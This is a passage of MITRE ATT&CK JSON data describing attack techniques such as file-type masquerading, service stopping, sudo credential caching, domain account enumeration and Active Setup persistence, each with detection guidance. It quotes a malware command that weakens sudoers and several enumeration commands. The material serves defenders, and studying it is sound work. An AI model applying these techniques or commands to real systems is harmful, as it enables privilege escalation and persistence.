            "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "Office 365",
                "SaaS"
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            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471",
            "created": "2023-03-08T22:40:06.918Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/008",
                    "external_id": "T1036.008"
                },
                {
                    "source_name": "polygot_icedID",
                    "description": "Lim, M. (2022, September 27). More Than Meets the Eye: Exposing a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.",
                    "url": "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:12.855Z",
            "name": "Masquerade File Type",
            "description": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type. For example, the header of a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign.  Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "CrowdStrike Falcon OverWatch",
                "Ben Smith, @cyberg3cko"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
            "created": "2019-03-29T19:00:55.901Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1489",
                    "external_id": "T1489"
                },
                {
                    "source_name": "SecureWorks WannaCry Analysis",
                    "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
                    "url": "https://www.secureworks.com/research/wcry-ransomware-analysis"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:12.942Z",
            "name": "Service Stop",
            "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\n\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\n\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, <code>ChangeServiceConfigW</code> may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Process: Process Termination",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "File: File Modification",
                "Process: OS API Execution",
                "Service: Service Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
            "created": "2020-10-01T01:33:01.433Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1587/001",
                    "external_id": "T1587.001"
                },
                {
                    "source_name": "ActiveMalwareEnergy",
                    "description": "Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/"
                },
                {
                    "source_name": "FireEye APT29",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved November 17, 2024.",
                    "url": "https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf"
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "FBI Flash FIN7 USB",
                    "description": "The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022.",
                    "url": "https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:47:44.654Z",
            "name": "Malware",
            "description": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Malware Repository: Malware Content",
                "Malware Repository: Malware Metadata"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302",
            "created": "2017-05-31T21:31:33.499Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1121",
                    "external_id": "T1121"
                },
                {
                    "source_name": "MSDN Regsvcs",
                    "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx"
                },
                {
                    "source_name": "MSDN Regasm",
                    "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
                },
                {
                    "source_name": "LOLBAS Regsvcs",
                    "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/"
                },
                {
                    "source_name": "LOLBAS Regasm",
                    "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:15.735Z",
            "name": "Regsvcs/Regasm",
            "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Casey Smith"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.3"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d",
            "created": "2023-03-28T20:14:49.087Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1652",
                    "external_id": "T1652"
                },
                {
                    "source_name": "lsmod man",
                    "description": "Kerrisk, M. (2022, December 18). lsmod(8) \u2014 Linux manual page. Retrieved March 28, 2023.",
                    "url": "https://man7.org/linux/man-pages/man8/lsmod.8.html"
                },
                {
                    "source_name": "Microsoft Registry Drivers",
                    "description": "Microsoft. (2021, December 14). Registry Trees for Devices and Drivers. Retrieved March 28, 2023.",
                    "url": "https://learn.microsoft.com/windows-hardware/drivers/install/overview-of-registry-trees-and-keys"
                },
                {
                    "source_name": "Microsoft EnumDeviceDrivers",
                    "description": "Microsoft. (2021, October 12). EnumDeviceDrivers function (psapi.h). Retrieved March 28, 2023.",
                    "url": "https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers"
                },
                {
                    "source_name": "Microsoft Driverquery",
                    "description": "Microsoft. (n.d.). driverquery. Retrieved March 28, 2023.",
                    "url": "https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
                },
                {
                    "source_name": "modinfo man",
                    "description": "Russell, R. (n.d.). modinfo(8) - Linux man page. Retrieved March 28, 2023.",
                    "url": "https://linux.die.net/man/8/modinfo"
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            "name": "Device Driver Discovery",
            "description": "Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).\n\nMany OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers)\n\nOn Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "ESET"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Process: OS API Execution",
                "Windows Registry: Windows Registry Key Access"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1206",
                    "external_id": "T1206"
                },
                {
                    "source_name": "sudo man page 2018",
                    "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
                    "url": "https://www.sudo.ws/"
                },
                {
                    "source_name": "cybereason osx proton",
                    "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
                    "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:15.978Z",
            "name": "Sudo Caching",
            "description": "The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>  (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.",
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                {
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                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "created": "2020-02-21T21:08:26.480Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1087/002",
                    "external_id": "T1087.002"
                },
                {
                    "source_name": "CrowdStrike StellarParticle January 2022",
                    "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
                    "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:21:07.252Z",
            "name": "Domain Account",
            "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022)  ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "ExtraHop",
                "Miriam Wiesner, @miriamxyra, Microsoft Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution",
                "Network Traffic: Network Traffic Content",
                "Group: Group Enumeration"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67",
            "created": "2020-12-18T16:33:13.098Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/014",
                    "external_id": "T1547.014"
                },
                {
                    "source_name": "SECURELIST Bright Star 2015",
                    "description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who\u2019s Really Spreading through the Bright Star?. Retrieved December 18, 2020.",
                    "url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/"
                },
                {
                    "source_name": "Mandiant Glyer APT 2010",
                    "description": "Glyer, C. (2010). Examples of Recent APT Persistence Mechanism. Retrieved December 18, 2020.",
                    "url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf"
                },
                {
                    "source_name": "FireEye CFR Watering Hole 2012",
                    "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
                },
                {
                    "source_name": "Klein Active Setup 2010",
                    "description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020.",
                    "url": "https://helgeklein.com/blog/2010/04/active-setup-explained/"
                },
                {
                    "source_name": "paloalto Tropic Trooper 2016",
                    "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Citizenlab Packrat 2015",
                    "description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020.",
                    "url": "https://citizenlab.ca/2015/12/packrat-report/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:13.464Z",
            "name": "Active Setup",
            "description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under <code> HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            ],
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            "x_mitre_contributors": [
                "Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor Registry key additions and/or modifications to <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code>.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Creation",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
            "created": "2020-02-26T17:41:25.933Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564",
                    "external_id": "T1564"
                },
                {
                    "source_name": "Cybereason OSX Pirrit",
                    "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"
                },
                {
                    "source_name": "MalwareBytes ADS July 2015",
                    "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
                    "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                },
                {
                    "source_name": "Sophos Ragnar May 2020",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:39:52.216Z",
            "name": "Hide Artifacts",
